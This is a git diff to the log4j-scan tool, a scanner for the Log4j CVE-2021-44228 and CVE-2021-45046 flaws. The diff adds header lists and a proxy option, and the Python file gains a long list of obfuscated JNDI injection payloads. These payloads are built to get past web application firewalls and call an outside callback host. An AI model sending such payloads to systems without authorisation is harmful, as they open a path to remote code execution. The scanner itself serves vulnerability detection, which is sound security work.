diff --git a/README.md b/README.md index 93fd079..f42c2d2 100644 --- a/README.md +++ b/README.md @@ -38,15 +38,15 @@ $ python3 log4j-scan.py -h [•] CVE-2021-44228 - Apache Log4j RCE Scanner [•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform. [•] Secure your External Attack Surface with FullHunt.io. -usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing] - [--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST] +usage: log4j-scan.py [-h] [-u URL] [-p PROXY] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing] + [--wait-time WAIT_TIME] [--waf-bypass] [--custom-waf-bypass-payload CUSTOM_WAF_BYPASS_PAYLOAD] [--test-CVE-2021-45046] + [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST] [--disable-http-redirects] optional arguments: -h, --help show this help message and exit -u URL, --url URL Check a single URL. -p PROXY, --proxy PROXY - Send requests through proxy. proxy should be specified in the format supported by requests - (http[s]://:) + send requests through proxy -l USEDLIST, --list USEDLIST Check a list of URLs. --request-type REQUEST_TYPE @@ -59,6 +59,8 @@ optional arguments: --wait-time WAIT_TIME Wait time after all URLs are processed (in seconds) - [Default: 5]. --waf-bypass Extend scans with WAF bypass payloads. + --custom-waf-bypass-payload CUSTOM_WAF_BYPASS_PAYLOAD + Test with custom WAF bypass payload. --test-CVE-2021-45046 Test using payloads for CVE-2021-45046 (detection payloads). --dns-callback-provider DNS_CALLBACK_PROVIDER diff --git a/headers-large.txt b/headers-large.txt index f88cb14..207d809 100644 --- a/headers-large.txt +++ b/headers-large.txt @@ -1152,4 +1152,4 @@ X-Zotero-Version X-Ztgo-Bearerinfo Y Zotero-Api-Version -Zotero-Write-Token +Zotero-Write-Token \ No newline at end of file diff --git a/headers-minimal.txt b/headers-minimal.txt new file mode 100644 index 0000000..9943e07 --- /dev/null +++ b/headers-minimal.txt @@ -0,0 +1,50 @@ +# Security appliances may reset requests when headers are larger then the typical. +Accept-Charset +Accept-Datetime +Accept-Encoding +Accept-Language +Cache-Control +Cookie +DNT +Forwarded +Forwarded-For +Forwarded-For-Ip +Forwarded-Proto +From +Max-Forwards +Origin +Pragma +Referer +True-Client-IP +Upgrade +User-Agent +Via +Warning +X-Api-Version +X-Att-DeviceId +X-Correlation-ID +X-Csrf-Token +X-Do-Not-Track +X-Forwarded +X-Forwarded-By +X-Forwarded-For +X-Forwarded-Host +X-Forwarded-Port +X-Forwarded-Proto +X-Forwarded-Scheme +X-Forwarded-Server +X-Forwarded-Ssl +X-Forward-For +X-From +X-Geoip-Country +X-Http-Destinationurl +X-Http-Host-Override +X-Http-Method +X-Http-Method-Override +X-Hub-Signature +X-If-Unmodified-Since +X-ProxyUser-Ip +X-Requested-With +X-Request-ID +X-UIDH +X-XSRF-TOKEN \ No newline at end of file diff --git a/headers.txt b/headers.txt index f0943cf..632327d 100644 --- a/headers.txt +++ b/headers.txt @@ -1,15 +1,19 @@ -Referer -X-Api-Version Accept-Charset Accept-Datetime Accept-Encoding Accept-Language +Cache-Control Cookie +DNT Forwarded Forwarded-For Forwarded-For-Ip Forwarded-Proto From +Max-Forwards +Origin +Pragma +Referer TE True-Client-IP Upgrade @@ -17,12 +21,6 @@ User-Agent Via Warning X-Api-Version -Max-Forwards -Origin -Pragma -DNT -Cache-Control - X-Att-Deviceid X-ATT-DeviceId X-Correlation-ID diff --git a/log4j-scan.py b/log4j-scan.py index 120f07e..d62ab85 100755 --- a/log4j-scan.py +++ b/log4j-scan.py @@ -16,7 +16,6 @@ from urllib import parse as urlparse import base64 import json -import random from uuid import uuid4 from base64 import b64encode from Crypto.Cipher import AES, PKCS1_OAEP @@ -47,25 +46,40 @@ # 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36', 'Accept': '*/*' # not being tested to allow passing through checks on Accept header in older web-servers } -post_data_parameters = ["username", "user", "email", "email_address", "password"] + +post_data_parameters = ["username", "user", "uname", "name", "email", "email_address", "password"] timeout = 4 waf_bypass_payloads = ["${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://{{callback_host}}/{{random}}}", "${${::-j}ndi:rmi://{{callback_host}}/{{random}}}", - "${jndi:rmi://{{callback_host}}}", + "${jndi:rmi://{{callback_host}}/{{random}}}", + "${jndi:rmi://{{callback_host}}}/", "${${lower:jndi}:${lower:rmi}://{{callback_host}}/{{random}}}", "${${lower:${lower:jndi}}:${lower:rmi}://{{callback_host}}/{{random}}}", "${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://{{callback_host}}/{{random}}}", "${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://{{callback_host}}/{{random}}}", + "${jndi:dns://{{callback_host}}/{{random}}}", + "${jnd${123%25ff:-${123%25ff:-i:}}ldap://{{callback_host}}/{{random}}}", "${jndi:dns://{{callback_host}}}", + "${j${k8s:k5:-ND}i:ldap://{{callback_host}}/{{random}}}", + "${j${k8s:k5:-ND}i:ldap${sd:k5:-:}//{{callback_host}}/{{random}}}", + "${j${k8s:k5:-ND}i${sd:k5:-:}ldap://{{callback_host}}/{{random}}}", + "${j${k8s:k5:-ND}i${sd:k5:-:}ldap${sd:k5:-:}//{{callback_host}}/{{random}}}", + "${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}ldap://{{callback_host}}/{{random}}}", + "${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}ldap{sd:k5:-:}//{{callback_host}}/{{random}}}", + "${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//{{callback_host}}/{{random}}}", + "${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}//{{callback_host}}/{{random}}", + "${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}a${::-p}${sd:k5:-:}//{{callback_host}}/{{random}}}", + "${jndi:${lower:l}${lower:d}a${lower:p}://{{callback_host}}}", + "${jnd${upper:i}:ldap://{{callback_host}}/{{random}}}", + "${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://{{callback_host}}/{{random}}}" ] cve_2021_45046 = [ - "${jndi:ldap://127.0.0.1#{{callback_host}}:1389/{{random}}}", # Source: https://twitter.com/marcioalm/status/1471740771581652995, + "${jndi:ldap://127.0.0.1#{{callback_host}}:1389/{{random}}}", # Source: https://twitter.com/marcioalm/status/1471740771581652995, "${jndi:ldap://127.0.0.1#{{callback_host}}/{{random}}}", "${jndi:ldap://127.1.1.1#{{callback_host}}/{{random}}}" - ] - + ] parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", @@ -108,6 +122,9 @@ dest="waf_bypass_payloads", help="Extend scans with WAF bypass payloads.", action='store_true') +parser.add_argument("--custom-waf-bypass-payload", + dest="custom_waf_bypass_payload", + help="Test with custom WAF bypass payload.") parser.add_argument("--test-CVE-2021-45046", dest="cve_2021_45046", help="Test using payloads for CVE-2021-45046 (detection payloads).", @@ -133,6 +150,11 @@ if args.proxy: proxies = {"http": args.proxy, "https": args.proxy} + +if args.custom_waf_bypass_payload: + waf_bypass_payloads.append(args.custom_waf_bypass_payload) + + def get_fuzzing_headers(payload): fuzzing_headers = {} fuzzing_headers.update(default_headers) @@ -145,7 +167,8 @@ def get_fuzzing_headers(payload): if args.exclude_user_agent_fuzzing: fuzzing_headers["User-Agent"] = default_headers["User-Agent"] - fuzzing_headers["Referer"] = f'https://{fuzzing_headers["Referer"]}' + if "Referer" in fuzzing_headers: + fuzzing_headers["Referer"] = f'https://{fuzzing_headers["Referer"]}' return fuzzing_headers @@ -164,6 +187,7 @@ def generate_waf_bypass_payloads(callback_host, random_string): payloads.append(new_payload) return payloads + def get_cve_2021_45046_payloads(callback_host, random_string): payloads = [] for i in cve_2021_45046: @@ -285,12 +309,14 @@ def scan_url(url, callback_host): payloads = [payload] if args.waf_bypass_payloads: payloads.extend(generate_waf_bypass_payloads(f'{parsed_url["host"]}.{callback_host}', random_string)) + if args.cve_2021_45046: cprint(f"[•] Scanning for CVE-2021-45046 (Log4j v2.15.0 Patch Bypass - RCE)", "yellow") payloads = get_cve_2021_45046_payloads(f'{parsed_url["host"]}.{callback_host}', random_string) for payload in payloads: cprint(f"[•] URL: {url} | PAYLOAD: {payload}", "cyan") + if args.request_type.upper() == "GET" or args.run_all_tests: try: requests.request(url=url, @@ -349,7 +375,7 @@ def main(): dns_callback_host = "" if args.custom_dns_callback_host: cprint(f"[•] Using custom DNS Callback host [{args.custom_dns_callback_host}]. No verification will be done after sending fuzz requests.") - dns_callback_host = args.custom_dns_callback_host + dns_callback_host = args.custom_dns_callback_host else: cprint(f"[•] Initiating DNS callback server ({args.dns_callback_provider}).") if args.dns_callback_provider == "interact.sh": @@ -374,11 +400,11 @@ def main(): time.sleep(int(args.wait_time)) records = dns_callback.pull_logs() if len(records) == 0: - cprint("[•] Targets does not seem to be vulnerable.", "green") + cprint("[•] Targets do not seem to be vulnerable.", "green") else: - cprint("[!!!] Target Affected", "yellow") + cprint("[!!!] Targets Affected", "yellow") for i in records: - cprint(i, "yellow") + cprint(json.dumps(i), "yellow") if __name__ == "__main__":